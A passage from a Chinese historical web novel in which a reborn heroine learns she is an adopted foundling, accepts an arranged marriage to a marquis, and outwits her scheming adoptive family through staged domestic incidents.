“元音不敢,是元音嘴笨,惹怒阿母,”江元音端着药碗凑到陈蓉唇边,“阿母,喝药。”
陈蓉还在气头上,伸手挥开药碗。
江元音仿若惊慌的兔子,手一抖,那碗药不偏不倚很是“巧合”地洒在陈蓉身上。
刚煎好的药还是烫人的温度,陈蓉失声惨叫,江元音忙起身立着,诚惶诚恐地垂首,眼底却是一片冰冷:“是元音笨手笨脚,请阿母责罚。”
陈蓉身子发颤,分不清是被烫得还是气得,她怒不可遏拿起药碗朝江元音摔去:“滚!我不需要你侍候,别在这碍我眼!”
江元音害怕瑟缩着,却又完美避开了这砸过来的碗,嗡声道:“是……元音这就退下……”
陈蓉看看地上四分五裂的药碗,再瞪着江元音慌慌张张离开的身影,差点又气昏了过去。
量她也没那个胆子敢故意为之,真是蠢笨如猪,什么事都做不好!
都怪她不阻止,害了云裳!
江元音一迈出梧桐院,便敛了那副唯唯诺诺的模样,勾唇轻笑。
若非阿父开口,她才不会上赶着给陈蓉侍疾。
她不配。
第7章 她非我所生,她不配高嫁
陈蓉忧思成疾,卧床不起。
这一病便是十来日,江元音谨遵教诲,非常乖巧的顺着她的心意,没再去她面前晃悠过一回,免得碍她眼。
江元音乐得轻松,但也没给府中上下置喙她的理由,除去给江兴德请安,她轻易不迈出月影院,数次失落表示陈蓉不喜见她,她只能在屋内替陈蓉焚香祈福,盼其早日康复。
后来江兴德又出了远门办事,她连院门都不出了,时值腊月,屋外冷得慌,她在屋内就着暖炉看书或绣香囊。
前世她被罚了禁闭,准备了四个安神香囊,打算绣好送给家人,可惜一个没绣成便**云裳拉到了泉郡。
如今她只会给江兴德一人绣。
腊月十七,江兴德满面春风的回来了。
江元音闻讯赶去前厅迎接,贴心的将备好的手炉递过去,莞尔乖巧道:“阿父可算是回来了,外边风雪重,阿父当心受寒。”
江兴德摆摆手没接手炉,笑道:“元音有心了,但为父不冷,你们女孩家家的才体弱畏寒,你用着。”
他心情甚好,体内似有火焰在燃烧,全然不觉冷。
江元音见他眉眼里是遮掩不住的笑意,想必此次出门办事顺利,心里也为他高兴,正想着多问两句,再夸赞祝贺一番,还未开口,李嬷搀扶着陈蓉到了。
陈蓉亦是感受到了江兴德的喜悦,期盼问道:“老爷,可是有云裳的消息了?”
江兴德的笑容霎时凝固在唇角,“三个月了,夫人也该朝前看了,别忘了我们还有正耀,你这般沉溺在失去云裳的悲伤中冷落他,既伤了自己的身子也会伤了他的心。”
江元音没听到半句自己,心情有几分难以言喻的微妙,但转瞬又想通了。
毕竟陈蓉不喜她,心里的宝贝疙瘩是江正耀,阿父不提她也正常。
江兴德继续出声安抚道:“夫人不必再伤怀,我江家马上要迎来天大的好消息!”
陈蓉问:“什么好消息?”
江元音亦有些好奇地抬眸看去。
是什么好消息,能让阿父这般欣喜?
“具体的我不多说,过几日你们便知晓了,”江兴德卖了个关子,望向厅外的院落,意味深长地感慨道:“这当是我们在这府邸过得最后一个新年了。”
陈蓉眸光闪烁:“老爷说的是……”
她刚开了口又意识到什么似的停住,侧目看向一旁静立着的江元音,没好气道:“自打我病了,就不见你半个人影,你父亲一回来,你倒是马上冒出来了,我在这也站了好一会了,你更是跟个哑巴似的,连人都不会喊了,江元音,你眼里可还有我这个母亲?”
江元音低眉敛目,一副谨小慎微地模样熟练道歉:“是元音的错,元音不是故意的,元音只是不敢……阿母说看见元音便觉碍眼,元音这才不敢随意出现在阿母面前,元音又嘴笨,说什么都是错,都会惹阿母不快,才不敢随意出声。”
“那你还杵在这作什么?走啊!”
“好好的,你又说她作何?”江兴德出声维护,继而朝江元音使眼色,“今日天冷,你穿得单薄,回屋换件厚衣裳吧。”
江元音会意:“是,元音告退。”
陈蓉明显想支开她,她不走会被继续找茬,更没有机会和阿父说话,而当着阿父的面她也不想耍心眼,去让陈蓉跳脚或难堪。
阿父如今富甲一方,府内却无妾室姨娘,两人感情甚笃。
她礼让陈蓉,权当爱屋及乌。
江元音揣着手炉走在廊道,凝神思索着江兴德刚刚的话。
他刚说这会是他们在这府邸过的最后一个新年,又是这个时间节点,难道是得到圣上赐婚和江正耀被选为太子陪读的消息了?
前世江家估计也没在汴京过上什么好日子,江云裳嫁得是式微落魄的侯府,只当了一年半的侯府夫人便成了寡妇,盼着当了太子陪读的江正耀能入仕途平步青云,可惜不过六年
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,李承烨就攻入汴京夺位,他们惨死在乱刀之下。
回忆起这些,江元音倏地驻足停步。
今生她不想和李承烨再有任何牵扯,也没那个志向和心力去改变阻止王朝的更替,她只想护住自己在意的人。
她必须阻止阿父入京!
雪燕疑惑问道:“小姐怎么了?”
“我忽地想起刚忘记把绣好的安神香囊给阿父了,”江元音把手炉递给雪燕,“你先回月影院,把炭火烧起来暖暖屋子,我去去便回。”
她不由分说将手炉塞给雪燕,转身返回。
没了手炉,她步子更快更轻盈,此刻她倒是理解了前边阿父所言,心里装着事时,是半分不觉得冷的。
得趁着圣旨未到,一切尚有转圜余地,赶紧劝阻阿父,商量对策,待圣旨下来了,怕是来不及了。
江元音快步回到厅外,隐约还能听到陈蓉的声音,她闻声止步。
陈蓉因为江云裳还有些病仄仄的,估摸着和江兴德聊不了多久就会回屋里歇息。
是以她安静候着,大脑飞速运转,开始斟酌劝阻江兴德的说辞。
她无意听墙角,直到自己的名字被陈蓉激动提起。
“你要让江元音顶替云裳嫁给定宁侯?!”陈蓉尖声,“不——我不同意!”
“你不同意,你想抗旨不成?那可是死罪!”
“老爷,云裳会回来的,云裳一定会回来的!我们将库房里的奇珍异宝与钱帛赠与那泉郡三爷,他看到我们的诚意,指不定就会放了云裳的……”
“要我重复多少遍,她回不来了,你早些认清现实吧,何况我江家的奇珍异宝与钱帛几乎尽数上供给了朝廷,才换来这赐婚,为我儿铺了这青云路,哪还有多余的去给那泉郡三爷?”
“那也轮不到江元音!”陈蓉厉声喊道:“她非我所生,她不配高嫁!”
厅外,江元音呼吸一滞,眸光黯然,勾唇轻笑。
……果然。
第8章 日后我江家只有一个女儿
江元音前世便猜测过,她或许不是陈蓉的孩子,她是阿父和其他女人所生。
所以陈蓉厌恶她,无论她如何费尽心思讨好,都得不到陈蓉欢心,陈蓉待她同江云裳、江正耀可谓天差地别。
整个幼年她都在战战兢兢地察言观色,满腹委屈却又没有直面真相的勇气,生怕这个家,再也容不得她。
如今终于得到答案,她并不难过,只觉得释然。
她不被陈蓉接纳,不是她的错。
厅内,江兴德的声音亦不悦激昂起来:“她不配,难道你教出来的好女儿便配吗?!”
“慈母多败儿,是你把江云裳养废了!她被你惯得无法无天,平日里如何骄纵任性我可以睁一只眼闭一只眼,可她非得作死去招惹那泉郡的地头蛇!”
“她最好是**,若是侥幸还活着,想必也没了清白,传出去只会毁了我江家的名声,我决不许她毁了我散尽半生家财才为我儿铺的仕途路,她若是还活着,也不许再踏入我江家大门一步,更不许再称是江家女,日后我江家只有一个女儿,那便是江元音!”
“你脑子也放清楚些,莫要再处处刁难她,免得她嫁入侯府后,不认你这个母亲,不听你摆布。”
厅外,江元音如坠冰窖。
这般冰冷无情的话怎会出自阿父之口?!
紧接着更重磅的消息传来。
“我不需要她认我这个母亲,她本就不是我的孩子,她不过是你我偶然捡到的弃婴!老爷难道真的要让一个和我们毫无血缘的人代替我们的女儿,嫁入侯府吗?!”
“你当真是愚昧,妇人之见,没有格局!”江兴德斥道:“成大事者不拘小节,不过是个女儿,又不是儿子,女儿早晚是别人家的人,何必在意血缘?”
“当初若非拾得她襁褓中的黄金珠宝,我们哪来的银钱开铺做生意?她算得上我江家的福星,她性子软,可比你那被惯坏的女儿听话好拿捏,只要能助我江家飞黄腾达,她就是我江兴德的爱女!”
“待我儿平步青云进入朝堂,我江家再不是被低看的商贾!”
江元音用力拽着衣摆,前世种种折磨都不如此刻噬心般的疼。
原来……她甚至不是江兴德的孩子。
她真蠢,没看破江兴德的虚伪,他佛口蛇心,戴着“慈父”的面具,实则最是自私自利,一旦没了价值,哪怕是亲生女儿他也能弃之如履。
前世,不许她再踏入江家,再自称江家女的人是他!
她不过是他们捡来的,前世他们大抵根本没派人去泉郡找过她!
他比陈蓉可恶千百倍!
厅内的声响似是近了,江元音怕被发现,不得不转身离开。
她腰背绷得笔直,压抑着心里的波涛汹涌,一路回到月影院。
一入屋内,雪燕立即停下手中的活迎上来:“小姐回来的真快,我这炭火刚烧好呢。”
江元音置若罔闻,径直走向炭盆,将那安神香囊扔了进去。
“小姐——!”雪燕阻拦未及,惊诧道:“小姐怎地将绣给老爷的香囊扔进这炭盆里啊?!”
她双手已提至胸前,随时准备着要探入炭盆抢救香囊,但一抬眼瞅见江元音小脸紧绷,似染了屋外风雪般的寒,一颗心提到嗓子眼,担忧问道:“小姐怎么了?”
莫不是夫人又拿这香囊说事,说骂了小姐?
江元音直直望着被炭火点着的香囊,整理着混乱的思绪。
她不是江家的孩子,难怪永远融不进这个家。
那她生父生母是谁?为何要遗弃她?
不,是谁都不重要了,弃她去者不可留,她不会像前世那般,执着于虚无缥缈的亲情。
江兴德靠着她襁褓中的黄金财宝才成了如今的江南首富,才有资本去为江正耀铺他的青云路。
可江家无人善待她,真是丑陋的一家子。
好在现在看清楚他们的真面目还不迟。
江元音陷在自己的思绪里,漫不经心的回道:“没事,绣得不好,阿父不会喜欢。”
闻言雪燕毫不犹豫的伸手探入炭盆,将香囊捡了起来。
只顾着速速捡起香囊,手指难免被炭火烫到,她整张脸不受控地皱成一团,手却小心翼翼拍着香囊上的碳灰,连声夸赞道:“小姐绣得很好!针法不输绣阁的绣娘,啊……雪燕不是
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要拿小姐同外面的绣娘比,雪燕只是不想小姐看低自己……小姐真的绣得很好!”
江元音终于从沉重的思绪里抽身回神,垂首去看雪燕的手,“烫着没有?”
雪燕摇头,双手捧着香囊将被烫伤的部位藏匿在香囊下,“不论绣工,光是小姐潜心绣了好几日这份孝心,老爷收到了也定会欢喜,小姐千万别伤心!”
江元音听着只觉得格外嘲讽好笑,意有所指道:“不过是自作多情自我感动罢了,烧便烧了,你何必去捡?”
“啊?”雪燕眨巴眼,一头雾水。
江元音不再多言,只是伸手拉过雪燕的手腕,想看她到底烫伤没有,可刚一碰到她的手,雪燕反应极大,一把将香囊塞到她手心里,再反手捧着她的手,满眼心疼得摩挲:“天,小姐的手好冰!”
摩挲了几下后又马上松开起身:“我去拿手炉!”
手里的香囊尚有炭盆的余温,江元音望着忙碌的雪燕,心情复杂。
她忍不住问:“你为何待我这般好?”
前世李承烨拿她试毒试药,将她折磨得五感尽失,江家更是恨不能榨干她身上每一滴价值。
那么雪燕想从她身上得到什么?
“我是小姐的丫鬟,理应侍候小姐。”雪燕不明所以,拿到手炉折返递给江元音,“何况我做的都是分内之事,哪有小姐说的好哦。”
她一个丫鬟,要是不会嘘寒问暖侍候主子,岂不是吃白饭啦?
江元音揣着手炉,目光落在雪燕终于腾出来的手上,能清楚看到几道被烫的红痕。
雪燕有所察,将手握拳收回,一派轻松地笑道:“雪燕皮糙肉厚,过会便消红了,不碍事的小姐。”
江元音望着她单纯清澈的眼眸,只觉得有一股暖意从手炉蔓延至全身。
她想,或许在江家,她还有可以信任的人。
江元音睫毛微颤,淡声道:“你去擦点药吧,我想一个人静静。”
从前眷恋着江兴德的父爱,她没想过要和江家人撕破脸,或者离开江家。
现下她该好好思量谋划,她该如何对付江家这些小人,未来的路又该如何走。
第9章 圣旨到了
酉时一刻,有下人来请江元音:“大小姐,晚餐已备好,老爷唤您过去用餐。”
江元音捏帕掩唇,轻咳了声:“白日里急着去见阿父,穿得单薄受了寒,现下没了胃口,我今日便不过去用餐了。”
看到那家人的虚伪嘴脸,她真的会倒胃。
等过了戌时,陈蓉派李嬷过来送来了清粥与参汤。
李嬷摆着一副难得一见的笑脸,连语气都和善了些:“夫人特意命我送来这些吃食,大小姐胃口可好些了?可还有旁的不适?可需要去请郎中?”
江元音心中冷笑。
陈蓉倒是把江兴德的话听进去了,怕她这个“侯府夫人”不受摆布,来示好了。
她不咸不淡地应道:“好多了,替我转告阿母,劳阿母挂心了。”
“夫人只是面上待大小姐严苛,心里还是很疼惜大小姐的,大小姐可一定要明白夫人的良苦用心啊。”
江元音不语,一贯的温吞模样。
李嬷连着“苦口婆心”的说了好几句,方才告退道:“夫人的身子好了个七八了,大小姐从明日起可前去请安,我就不打扰大小姐歇息了。”
李嬷一走,雪燕端着清粥和参汤凑过来。
江元音没看吃食一眼,反而盯着她泛红的眼眶,问:“你哭什么?”
“雪燕替小姐高兴,”雪燕吸了吸鼻子,欣慰道:“夫人终于疼小姐了……”
江元音只觉得嘲讽,扫了吃食一眼,吩咐道:“你端下去吃了吧,你若不饿,倒了便是。”
雪燕难以置信地确认道:“倒……倒了?”
从前无论夫人给了什么,小姐都很欣喜珍视,今日这是怎么了?
江元音轻“嗯”了声,不再回应,埋首看向书案。
她下午将前世的时间线理了一遍,权衡利弊,她决定顺势而为,嫁入侯府。
既已知江家入京的结局是惨死乱剑,她何必阻止?
江家想利用她攀附权贵,为江正耀铺路,她就让他们人财两空。
反正那定宁侯是个短命的,她只要当一年半载的侯府夫人,对江家阳奉阴违,使其掏空家底黄粱梦碎,待定宁侯死后,她拿着钱财寻个远离纷争的净土,过她的快活日子。
次日上午,江元音去梧桐院给陈蓉请安。
陈蓉坐在软榻上,还是那副高高在上的姿态,“年关将至,府里有大大小小的事要操持,自今日起,你便来帮我分担分担。”
江元音低眉敛目,很是温顺:“是,阿母。”
这是个很好的摸清江家家底的契机,她不介意被陈蓉使唤。
陈蓉瞅着她这副唯唯诺诺的样子,怎么看怎么不顺眼,不悦道:“你这木讷性子也不知是随了谁,之前我不过是在气头上让你走,你倒好,竟真的十来日不来见我一眼,半点不懂变通哄人,将来如何能讨得婆母夫君欢心?”
江元音眼底浮着讥笑,故意道:“那元音便终身不嫁。”
“我是那个意思吗?”陈蓉果然被气到,“我是让你改改性子,学着变通,免得在婆家说不上半句话,如何帮衬你阿弟?”
“阿弟天资聪颖,日后必大有作为,定不需我帮衬,而我愚钝,定寻不到好婆家,只怕日后想帮阿弟也有心无力,但阿母放心,我出嫁后定恪守本分,定不给娘家添麻烦。”
陈蓉听她自贬夸江正耀,心里又舒坦又气,无法将她要嫁入侯府的事给说破,只得深呼吸压着火气,道:“你是我江家的嫡女,我和你父亲定会竭尽所能为你寻一门好亲事。”
江元音眼底的讥笑愈深。
分明是利用她,却要包装成对她的恩惠,想让她感恩戴德。
陈蓉又道:“你是长姐,要懂得照顾帮衬弟弟,事事以弟弟为先,他好了,日后才能帮衬你的孩子。”
江元音福了福身:“元音谨记。”
陈蓉摆摆手:“你同李嬷去见李管事,他会教你该如何做,我有些乏了,要睡个回笼觉。”
“是,元音告退。”
李管事没交予江元音多大的重任,只是将府中各院的新春布置交予了她。
她温声应了,这是摸清江家家底的第一步,她要徐徐图之。
两日后,朝廷派人来宣旨,说圣上念江兴德充盈国库有功,建设江南有劳,特为其女择良婿,赐婚定宁侯,选定其子为太子
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陪读,于年后进京谢恩。
江兴德满脸尘埃落定的喜悦领旨,早就知晓的陈蓉亦算淡定,唯有江正耀不乐意,皱着眉眼道:“阿姐没回来,谁嫁给定宁侯?”
宣旨的人侧目,探寻望去。
“休得胡言乱语!”江兴德点了点一旁静立着的江元音,“你阿姐好生生在这,你看不见?”
江正耀还要争辩,被陈蓉及时拉住捂嘴。
江兴德毕恭毕敬招呼着宣旨的人入厅内说话去了,院里剩下女眷和江正耀。
陈蓉一直待他们走远了,才松开江正耀,低声提醒道:“耀儿,这些话切不可再说,免得惹恼你父亲。”
“为何不能说?我偏要说!”江正耀不服道:“这侯府夫人的位置当是我阿姐的,”他怒指江元音,“她凭什么?!”
自打那夜发烧过后,这江元音就跟变了性似的,完全不将他看在眼里,使得他那一股子火还积在心里。
从前她低声下气的示好让他心烦厌恶,现下这般目中无他更让他恼怒。
江元音毫不在意,不痛不痒地顺着他的话说:“正耀说得对,只有云裳才配当这侯府夫人。”
呵,他们有本事找回江云裳吗?
他俩反复提起江云裳,让陈蓉陷入丧女的伤痛里,口吻不善道:“不要口无遮拦,贵人在府,你们谁都不许再提云裳。”
江正耀哪懂其中曲折,只当陈蓉在为江元音说话,愤懑道:“阿姐才失踪数月,阿母便忘了阿姐还向着江元音说话,阿母这样对得起阿姐吗?”
陈蓉蹙眉低喝:“你小声些!被你父亲听到,你非得挨巴掌不可!”
“打就打,我不怕!我正要问问阿父,是不是也把阿姐忘了!”
陈蓉头疼不已,示意刘嬷将江正耀带回逸轩院。
在陈蓉看不到的视角里,安静温顺的江元音抬眼看向江正耀,扬唇轻笑。
这于江正耀而言是无声的挑衅,他愈发激动,扯着嗓子就要破口大骂。
陈蓉再次快速捂住他的嘴,吩咐刘嬷:“在贵人离府前,不许少爷出逸轩院!”
语罢胆颤望向大厅的方向,生怕惹出事端。
第10章 做好当新妇的准备
前世一门心思扑在江家人身上的好处是,江元音对每一个人的脾性都很了解,才能一个笑容就让江正耀被关了禁闭。
当晚,送走了宣旨人,江兴德和陈蓉唤江元音去房里谈话。
江兴德喜难自抑,一副慈父模样,开口道:“元音,年后你便要嫁给定宁侯,这些日子要做好当新妇的准备。”
“嫁给定宁侯?”江元音故作惊慌无措地回:“阿父,我如何能行?”
江兴德一脸不赞同:“圣上赐婚,你如何不行?”
江元音摇头,“如阿母所言,我性格木讷不讨喜,又愚笨不懂变通,我不行的。”
江兴德余光不悦扫了陈蓉一眼。
江元音又道:“正耀说得对,只有云裳才能当侯府夫人。”
“他年幼不懂事,你也不懂吗?”江兴德板着脸,“圣上赐婚,这是天大的殊荣,可若是抗旨就是死罪,云裳回不来了,日后你便是我江家唯一的女儿,你可明白?”
江元音嘴唇翕合,神色惶然,片刻后才回道:“元音明白了。”
江兴德满意颔首,“这些时日你便好生学着新妇的礼仪规矩,年后嫁入侯府,要懂得笼络夫君的心,早日执掌中馈,也好帮衬你弟弟,耀我江家门楣。”
“可我对执掌中馈一无所知,侯府又是高门……”江元音抬眼望向陈蓉,顺势问道:“不知阿母可否教我?让我先试着打理操持家中事务。”
陈蓉当然不愿,正要出声拒绝,江兴德却率先表了态:“是个好法子,自明日起你便从你母亲手中接过中馈之责。”
陈蓉不满唤道:“老爷,这……”
江兴德不容拒绝的抬手打断,拍板道:“时间紧迫,夫人得好好教会元音。”
陈蓉噎住,面色相当难看,暗暗捏紧手中的帕子。
“元音定会用心学习,”江元音看向江兴德,欲言又止道:“只是正耀只认云裳为阿姐,我、我……”
“他年纪小,你莫同他计较,他的话不必往心里去。”
江元音摇了摇头,“我自不会同他计较,就怕侯府中人听到问起……我嘴笨难辩。”
“你放心,为父会去找他说道说道,年后他要当太子陪读,要学的规矩也不少。”
“我去同他说吧,”陈蓉不想父子俩起冲突,忙出声道:“耀儿和云裳感情甚好,偏生性子又倔,得费一番口舌才能说通。”
“也好,”江兴德松了口,嘱咐道:“贵人给了一份书单,你命人照着书单将书都找出来,务必让正耀研读,入京前熟记于心。”
陈蓉听着,心生一计,道:“我看这事不如交给元音去做吧,近日来天气不错,明日或许是个大晴天,可以将书翻找出来晒晒,去去霉味和书虱,到时候耀儿看起来也舒服些。”
她望向江元音,笑吟吟道:“你亲力亲为多做些,耀儿早晚会知道你的好,会认你这个阿姐的。”
她才不会轻易将江家中馈之责给江元音,她有的是活安排给她。
“有理,”江兴德认可了这个提议,对江元音道:“如此,找书晒书的事便交给你了。”
江元音福了福身,垂首掩住眼底冰冷的笑,温顺回道:“元音定用心办妥。”
使唤她去干奴仆的活,给江正耀晒书?
那希望陈蓉不要后悔。
翌日,果然是个大晴天。
江元音早晨去给陈蓉请安,陈蓉没提半句要教她操持家务的事,只是嘱咐她找书要仔细,不要有错漏。
是以整个上午她都在找书。
陈蓉生怕她闲着,派了李嬷盯着。
把书找齐也到了午时,雪燕心疼提醒道:“小姐,先去吃午饭吧。”
“诶,”李嬷出声阻止:“正午的日头最好,阳光
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最足,大小姐可莫错过最合适的晒书时机。”
“那也不能让我家小姐饿肚子吧?”雪燕道:“那让小姐去吃饭,我来晒,可以吗?”
李嬷状似为难的摊手:“大小姐饿肚子我也心疼,可夫人说了,大小姐只有亲力亲为才能让少爷看到真心,缓和和少爷的关系。”
她看向江元音,笑眯眯道:“辛苦大小姐再坚持坚持,晚些夫人去见少爷时,一定会让少爷知道大小姐的付出的。”
谁让她自己安生日子不过,非要打江家中馈之责的主意,惹恼夫人!
活该,掂量不清自己的份量,自己找罪受。
她便是成了侯府夫人,这江家也轮不到她做主,何况她还没嫁呢。
江元音拉住要抱不平的雪燕,不气不恼地回:“嬷嬷说的是,我就这将书搬至逸轩院晒着,不错过好日头。”
“搬去逸轩院晒?”
“嗯,反正这些书也是给正耀的,晒在他的院子里最是方便他。”
李嬷琢磨了下,觉得这话不无道理,便不再阻止。
江元音俯身弯腰去搬书,被强调数次不能帮忙的雪燕不住地伸手又缩手,亦步亦趋地跟着江元音,忍不住小声嘟囔埋怨:“夫人这才对小姐好了几日啊,怎地又刁难起小姐来了,这大冬天的不让吃饭也不让休息,小姐身子怎么遭得住!”
一整个上午,李嬷就杵在那盯着,自己不动手帮忙,也不许其他人帮忙,只会拿夫人说事来压她们!
而她家小姐又是半点脾气都没有的人,真就一个人干了一上午活。
小姐好惨呐。
江元音冲她无碍笑笑,无声安抚。
陈蓉从未待她好过,她也不稀罕了,更不会似从前那般任其压榨欺负,她这般不吃饭不休息地配合也不过是为了一会的好戏,毕竟她不辛苦点,一会的戏也唱不起来。
第11章 好戏开唱
江元音清楚江正耀是有午睡习惯的,她掐着时间慢悠悠将书搬到逸轩院,他已经睡下了。
有李嬷领着,代表是陈蓉的意思,是以院里的下人都静候在一旁,看江家大小姐干活。
这般场景倒也不稀奇,在逸轩院下人眼里,江元音为讨好江正耀,那是半点面子都不要的。
一群下人从旁观大小姐干活中得到些微妙的成就与存在感,个个面上都是狗仗人势的得意。
雪燕气得咬牙,偏偏江元音似是半点察觉不到,一派松弛自在的在院中寻处铺案晒书。
一个时辰后。
江元音按陈蓉的要求一轮轮给书籍翻页,确保每一页都能被晒到,她手中的动作未停,监工的李嬷却站不住了。
李嬷年近五十,为了折腾江元音自己亦是滴米未进,干站着也觉得疲累。
她头晕眼花,胃鸣不止。
“李嬷,”江元音开口道:“你这般年纪经不得饿,你去吃饭吧,不必陪我。”
李嬷心动了,神色犹疑,就怕自己不盯着,雪燕就去帮江元音干活了。
那可不行,夫人知道准得骂她。
江元音早看破她的想法,冲雪燕道:“李嬷怕是饿过头了,你扶她去吃点东西,免得她半路晕倒。”
李嬷一听,立即没顾虑了,连声道:“那就多谢大小姐了。”
雪燕万般不情愿,还是听话地去搀扶李嬷。
“等等,”江元音唤住她们,把书单递过去,“我标记的这两本是阿父的藏书,我不知在哪,你们吃了饭去寻一趟阿父,把这两本书取来,到时这些书也当晒好了,正好一起交给正耀。”
李嬷不识字,又听到是江兴德的藏书,只觉得这书单是烫手山芋,听不到似的,不伸手接。
雪燕强忍着翻白眼的冲动,伸手接了书单:“好的,小姐。”
两人离开不到两刻,江正耀怒气冲冲直奔江元音而来。
江元音恭候多时,唇角挂着若有似无的笑,静待他走近。
“谁许你进我院子里了?”昨天被关禁闭,让江正耀成了根一见江元音就自燃的柴火,“滚!给我滚啊!”
江元音扫了眼案几上晒着的书,没甚起伏地回:“这些是你进京前要熟读的书,我帮你清点出来晒晒,方便你翻阅。”
江正耀得意仰起下巴,嗤笑道:“现在来献殷勤,晚了!我告诉你,如今阿姐已被圣上赐婚定宁侯,有圣上和侯爷的帮助,一定能把阿姐从那三爷手中救出来,你休想取代阿姐的位置!”
江元音听着只觉得他真是无知幼稚可笑。
她掀了掀眼皮,“你误会了,不是我要献殷勤,是阿母交代我做的。”
江正耀噎住,满脸自作多情地臊红。
“我知道你讨厌我,”江元音俯身弯腰凑近,用着两人能听到音量,小声道:“我也讨厌你。”
这是江正耀第一次听到江元音对他“恶言相向”,他不可置信地瞪圆了眼,气懵了猛地伸手推了她一把。
江元音顺着这股子力道,直接倒在一旁晒书的案几上。
“哐当”一声,案几倒了,书本散落一地,江元音跌坐在地上,扬声哽咽道:“你便是再讨厌我,也不能拿这些入京后要被抽考的书撒气啊!”
停在几步外看戏的下人们纷纷看向江元音,大家见惯不怪,无一人出声帮腔,更别提去搀扶她了。
江正耀情绪上头,失了理智,原本根本没在意这些书,听她这么一说,发疯似的上前踩踏,“我想怎么撒气就怎么撒气,轮不到你来管!”
江元音余光扫了眼院门口,隐隐约约能瞥见人影,她知时机成熟,又大声喊道:“这些书你不能撕!”
她仰头看向一众旁观的下人,加大火力急声喊道:“你们快些拦住他,莫让他撕了我忙活一日才找齐的书!”
话音一落,刚还在疯狂踩踏书本的江正耀魔怔似的开始撕书。
不让他撕?
他偏撕!偏撕!
江正耀欺负捉弄江元音在江家不算新鲜事,无论再过火,不仅陈蓉不会责骂他一句,江元音自己也不会生气。
是以,下人们冷眼旁观,没人插手。
所有人的注意力都在撕书的江正耀身上,除了江元音,没人注意到有一群人已经入了院门走来。
她眼底闪过一丝冷笑,只
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道好戏开唱,慌慌张张地上前去阻止:“不要撕书,正耀,你讨厌我,我走就是,你不要撕书……”
江元音越阻止,江正耀撕得越起劲,直到一道严厉的低喝声传来——
“住手!”
江兴德和陈蓉来了。
下人们忙侧身请安:“老爷,夫人。”
江正耀动作一顿,自知自己的行为有欠妥当,但他还在气头上,江元音还在跟前,更不可能低头,于是绷着一张脸,倔强得一言不发。
江元音发髻凌乱地跌坐在地,一派狼狈模样。
江兴德的第一反应是去看地上的碎纸,随即黑脸怒声质问:“江正耀,你把进京前要看的书撕了?!”
陈蓉睁眼说瞎话的护道:“老爷,这也不一定是耀儿撕的啊……”
她侧目看向江元音,熟练地把责任甩过去:“千叮咛万嘱咐说了这些书有多重要,你怎地让书都被撕碎了?”
此情此景于江元音而言,并不陌生。
前世每每她跟江正耀有任何冲突,江云裳会三言两语把过错推到她身上,陈蓉再对她问责施罚,这才让江正耀习惯对她作威作福。
一如十四岁那年,江云裳顺走陈蓉一支步摇不慎弄丢,让她顶罪认错,她被罚抄家训百遍,好不容易抄完,被七岁的江正耀作恶撕毁。
可当着父母的面,江云裳说是她让江正耀帮忙抄写,他抄得烦了,才把自己写的那些撕了。
如此离谱的说辞,陈蓉信了,江兴德出声维护了她两句,却没阻止陈蓉让她罚跪。
而她在江云裳那句“正耀那么小,你忍心看他受罚吗”的劝说下,没有辩驳一句。
其实辩驳了也改变不了结果。
陈蓉偏袒自己的孩子,江兴德除了在她幼时会外出顺手带回来些小玩意外,只剩下动动嘴皮的维护。
但现在不同了。
江云裳和陈蓉给人挖坑那一套,她也是会的。
她要以其人之道还治其身。
而这一次,她笃定江兴德会“帮”她。
毕竟,比起宝贝儿子,他更在意的是他江家的前程。
何况,这回要嫁入侯府的人是她。
第12章 老爷这回竟然会帮大小姐?!
江元音睫毛轻颤,一副泫然欲泣地模样,哽咽道:“阿父阿母,是元音不好,元音没能阻止正耀撕毁书籍。”
陈蓉脸色难看,抢在江兴德出声前继续对江元音发难:“耀儿什么性子你不清楚吗?你为何不迁让点,非得惹得他做出这般不理智的事来?”
这时雪燕跑向姜云音,蹲身去搀扶她,替她委屈发声道:“可是夫人,小姐已经够迁让少爷了!”
要向陈蓉状告江正耀需要莫大的勇气,她声音发颤:“自打我入府以来,无论少爷多过分,从不见小姐同少爷红脸计较过,远的不说,就说三月前少爷发烧那回,是小姐照顾了少爷一宿,少爷好了还不领情,不仅没个好脸色还踹了小姐一脚,更不许郎中为小姐看诊,小姐也没说过少爷半句不是!”
“今日小姐为少爷寻书晒书,忙活到现在,别说吃饭,一口水都没喝,少爷却将书都撕了,少爷屡屡践踏小姐的真心,为何夫人还来怪小姐?”
江正耀恼羞成怒,将手中撕了一半的书,狠狠朝雪燕砸过去:“贱婢,要你多嘴!”
雪燕条件反射地抱住江元音,生怕砸到她。
江元音心口一暖,这瞬间才真的认定她在这江家还有可信任的人。
陈蓉做西子捧心状,倒打一耙质问江元音:“你内心对我、对正耀,对江家有不满怨恨直言便是,为何要绕这么大一个圈子,哗众取宠,还编排教唆丫鬟这般言语,眼瞅着除夕将至,你却要闹得家宅不宁!”
“对!”江正耀似被点醒了一般,找到了极好的说辞,终于敢直视江兴德:“阿父,她突然来我院子晒书就是没安好心,是她让我撕书的,她又让她丫鬟通风报信领着你和阿母过来,就是想让你们训斥我,她就是对我之前踹她一脚不让郎中给她看病怀恨在心,想报复我!”
他说的慷慨激昂,殊不知全成了他恶行的佐证。
听得江兴德额角青筋暴起,胸膛起伏。
蠢货!
江元音看向江正耀,回应道:“晒书是阿母昨夜交代我做的,非我自作主张,而雪燕去找阿父是为你拿书,何来通风报信之说?这些你皆可向阿父阿母求证,而你何时听过我的话,我让你撕书你便会撕吗?”
她又看向陈蓉,“无论是无端被踹、生病不让看诊,还是找书晒书,雪燕所言句句属实,刘嬷、李嬷皆可为证,阿母为何要说是我编排教唆?”
继而她眼眶泛红看向江兴德,“元音没做过这些事,请阿父明鉴,但元音无能,护不住这些书籍,万幸阿父那两本藏书无恙。”
江元音有理有据,在所有人眼里她一直是软弱被欺的形象,其实没人会质疑她撒谎,更不觉得她有兴风作浪的能力。
只是她无人撑腰,大家默契的当个“睁眼瞎”。
所有人的目光都落在了江兴德身上,只要他不帮腔,今日要认错被罚的人依旧是江元音。
江兴德怒火中烧,大步上前扬手给了江正耀一巴掌。
众人倒吸冷气。
……老爷这回竟然会帮大小姐?!
老爷对少爷偶尔斥责,但从未动过手啊!
江正耀愣住了,江兴德一把揪住他的衣襟,“逆子,你知我费了多大成本才为你谋得这太子陪读之位?你马上要十岁,还如稚子一般顽劣,不争气,与其让你年**京得罪皇子贵人,招惹杀身之祸,我不如现在就打死你,也算护住我江家名声!”
“不要啊老爷!”陈蓉激动上前去拉江兴德,“老爷,你冷静一些,有话好说,有话好说……”
